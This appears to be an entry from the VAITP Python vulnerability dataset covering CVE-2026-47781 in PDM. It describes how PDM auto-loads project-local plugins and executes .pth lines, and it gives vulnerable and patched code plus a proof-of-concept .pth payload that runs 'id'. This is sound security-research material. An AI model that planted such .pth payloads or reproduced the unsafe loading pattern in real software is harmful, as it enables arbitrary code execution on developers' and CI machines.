VAITP Dataset

← Back to the dataset

CVE-2026-47781

PDM allows arbitrary code execution via untrusted project-local plugins.

  • CVSS 8.4
  • 94
  • Design Defects
  • Local

PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm –version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.

CWE
94
CVSS base score
8.4
Published
2026-08-04
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Local File Inclusion (LFI)
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
PDM
Fixed by upgrading
Yes

Solution

Upgrade PDM to version 2.27.0 or later.

Vulnerable code sample

import site
from pathlib import Path
from typing import Type

# Simplified representation of PDM's project structure
class Project:
    def __init__(self, root: Path):
        self.root = root

class Core:
    project_class: Type[Project] = Project

    def __init__(self) -> None:
        self.project = self.project_class(Path("."))

    def load_plugins(self) -> None:
        """Load plugins from the project's .pdm-plugins directory."""
        plugin_path = self.project.root / ".pdm-plugins"

        if plugin_path.is_dir():
            # VULNERABLE: site.addsitedir() processes .pth files and executes any line
            # starting with 'import', leading to arbitrary code execution.
            site.addsitedir(str(plugin_path))
        
        # ... further plugin loading logic using entry points ...

Patched code sample

import pkgutil
from importlib.machinery import PathFinder
from pathlib import Path
from typing import Type

# Simplified representation of PDM's project structure
class Project:
    def __init__(self, root: Path):
        self.root = root

class Core:
    project_class: Type[Project] = Project

    def __init__(self) -> None:
        self.project = self.project_class(Path("."))

    def load_plugins(self) -> None:
        """Load plugins from the project's .pdm-plugins directory."""
        plugin_path = self.project.root / ".pdm-plugins"

        if plugin_path.is_dir():
            # FIX: Manually find and load modules without processing .pth files,
            # which prevents arbitrary code execution from them.
            for module in pkgutil.iter_modules([str(plugin_path)]):
                if module.ispkg:
                    continue
                spec = PathFinder.find_spec(module.name, [str(plugin_path)])
                if spec and spec.loader:
                    spec.loader.load_module(module.name)

        # ... further plugin loading logic using entry points ...

Payload

# File: .pdm-plugins/exploit.pth
import malicious_code

# File: .pdm-plugins/malicious_code.py
import os
import subprocess

# This payload will execute the 'id' command and print its output
# to demonstrate arbitrary code execution.
print("--- CVE-2026-47781 PoC ---")
subprocess.run("id", shell=True)
print("--------------------------")

Cite this entry

@misc{vaitp:cve202647781,
  title        = {{PDM allows arbitrary code execution via untrusted project-local plugins.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-47781},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47781/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::